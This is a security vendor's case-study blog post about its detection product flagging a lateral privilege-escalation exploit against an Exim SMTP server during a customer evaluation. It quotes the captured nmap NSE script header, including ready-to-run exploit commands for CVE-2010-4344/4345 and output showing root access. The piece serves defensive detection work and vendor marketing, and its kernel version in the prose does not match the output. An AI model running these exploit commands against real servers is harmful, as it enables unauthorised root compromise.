<img height="1" width="1" style="display:none;" alt="" src="https://px.ads.linkedin.com/collect/?pid=2180921&amp;fmt=gif">

Uncovered with Stamus Security Platform: Lateral Active Exploits

In this series of articles, we explore a set of use cases that we have encountered in real-world customer deployments of our network detection and response solution, Stamus Security Platform (SSP). In each case, we work to explain what we found, how we found it, and why it matters.

Background

In this scenario, the Stamus Security Platform (SSP) was deployed as part of an evaluation program with a potential customer. Several other network detection and response competitors participated in the evaluation. The deployment included a full-featured Stamus Central Server and a Stamus Probe with a 10Gbps capacity. The environment was a regular corporate financial institution with many public and private facing applications, on-site and remote users, SaaS, server infrastructure, and remote offices. 

In any default installation, Stamus Network Probes have built-in mechanisms such as AI beacon encryption detection, SIGHTINGS, homoglyph detection, Host Insights, and more, but they also include over 100k+ detection methods/signatures in addition to 2-5 million IoCs that match on DNS domains, TLS certificates, and HTTP hosts and can be enables with the simple click of a button. 

What we found and how we found it

In this example, SSP discovered and automatically highlighted a lateral-based SMTP exploit, bypassing all existing protections on the host. SSP possesses an arsenal of tools that enable this kind of automation and allow threat hunters to do their job more efficiently. 

One such technique is the ability to automatically highlight lateral scanning or exploitation activity that is unusual/anomalous and not part of any regular vulnerability scanning systems.

The screenshot below is part of the Stamus Dashboards hunting interface and shows the attack in motion. Part of the payload even shows the exploit tools maintainers details, which you can see highlighted below: 

Image 1 Obfuscated Updated

The PCAP is also available with a click:

Below you can see the same evidence sequence. The highlighted section is the actual exploit being successful in elevating privileges as root on a virtual (QEMU-based ) Ubuntu server with kernel version 2.8.38.

Image 3 Obfuscated Updated

The actual extract of the payload provides more details below:

enable the <code>smtp-vuln-cve2010-4344.exploit</code> argument.

To get the appropriate debug messages for this script, please use -d2.

Some of the logic of this script is based on the metasploit

exim4_string_format exploit.

* http://www.metasploit.com/modules/exploit/unix/smtp/exim4_string_format

Reference:

* http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4344

* http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4345

]]

---

-- @usage

-- nmap --script=smtp-vuln-cve2010-4344 --script-args="smtp-vuln-cve2010-4344.exploit" -pT:25,465,587 <host>

-- nmap --script=smtp-vuln-cve2010-4344 --script-args="exploit.cmd='uname -a'" -pT:25,465,587 <host>

--

-- @output

-- PORT   STATE SERVICE

-- 25/tcp open  smtp

-- | smtp-vuln-cve2010-4344:

-- | Exim heap overflow vulnerability (CVE-2010-4344):

-- |   Exim (CVE-2010-4344): VULNERABLE

-- |     Shell command 'uname -a': Linux qemu-ubuntu-x32 2.6.38-8-generic #42-Ubuntu SMP Fri Jan 21 17:40:48 UTC 2011 i686 GNU/Linux

-- | Exim privileges escalation vulnerability (CVE-2010-4345):

The exploited CVE and the kernel are both very old, which leaves more questions than answers as well. 

The vulnerability exploited 

In the payload from the escalated security event below, we can see the before and after parts confirming elevation as root is possible from executing the exploit: 

-- |   Exim (CVE-2010-4345): VULNERABLE

-- |     Before 'id': uid=121(Debian-exim) gid=128(Debian-exim) groups=128(Debian-exim),45(sasl)

-- |_    After  'id': uid=0(root) gid=128(Debian-exim) groups=0(root)

--

-- @args smtp-vuln-cve2010-4344.exploit The script will force the checks,

--       and will try to exploit the Exim SMTP server.

-- @args smtp-vuln-cve2010-4344.mailfrom Define the source email address

How it Happened

In the scenario described in this article, the Stamus Security Platform detected and escalated a successful exploit due to it being a part of a lateral activity that was anomalous and not part of a regular IT management process.

There are many different aspects to the detection techniques provided by the Stamus Security Platform, and as a result it is not always only detection that matters. The ability to investigate, audit, and review different security events and data prior to and after an incident and evaluate which systems and users were impacted is essential. In this example, SSP was deployed during a limited evaluation which unfortunately does not allow for the same depth of information that only extended amounts of time on a network can provide. Despite this, the ability for SSP to quickly identify and investigate the unwanted exploitation activity proved valuable to the evaluating organization. 

Why This Matters

It is important to remember that no detection mechanism can uncover all threats. Multiple layers of defense that address different parts of the security monitoring spectrum should be an essential part of any successful security strategy. 

Without multiple automated detection mechanisms, an organization's security team could miss malware, ransomware, botnets, advanced persistent threats (APTs), data exfiltration, remote access trojans (RATs), rootkits, social engineering, lateral movement, policy violations, phishing, or hundreds of other threats. 

The ability to rely on a combination of multiple detection logics and methods empowers defenders to perform faster and more meaningful detections with less available time. 

The examples shown in this article were automatically escalated by the Stamus Security Platform with no previous learning/evaluating time spent on the current infrastructure. Given the proof/evidence accompanying those, it is unfortunate but obvious that a breach has occurred. This was not detected by any of our competitors deployed during the same time of the evaluation.

A fully enabled and SOAR-integrated Stamus Security Platform deployment would be able to respond better to this exploit activity and surrounding communication even though it managed to bypass the existing EDR, firewall, and other detection systems deployed in the organization.

To read more articles in this series, check out these "Uncovered with Stamus NDR" blogs:

To stay updated with new blog posts from Stamus Networks, also make sure to subscribe to the Stamus Networks blog, follow us on Twitter, LinkedIn, and Facebook, or join our Discord.

Peter Manev

Peter Manev is the co-founder and chief strategy officer (CSO) at Stamus Networks. He is a member of the executive team at Open Network Security Foundation (OISF). Peter has over 15 years of experience in the IT industry, including enterprise-level IT security practice. He is a passionate user, developer, and explorer of innovative open-source security software, and he is responsible for training as well as quality assurance and testing on the development team of Suricata – the open-source threat detection engine. Peter is a regular speaker and educator on open-source security, threat hunting, and network security at conferences and live-fire cyber exercises, such as Crossed Swords, DeepSec, Troopers, DefCon, RSA, Suricon, SharkFest, and others. Peter resides in Gothenburg, Sweden.

Schedule a Demo of Stamus Security Platform

REQUEST A DEMO

Related posts

Feature Spotlight: Declarations of Policy Violation™

One of the new, exciting innovations available with the release ofStamus Security Platform (SSP) U...

Unpacking the 2024 Gartner® NDR Market Guide: Securing the Agentless Attack Surface

The rapid proliferation of IoT devices, network devices, and cloud infrastructure has drastically...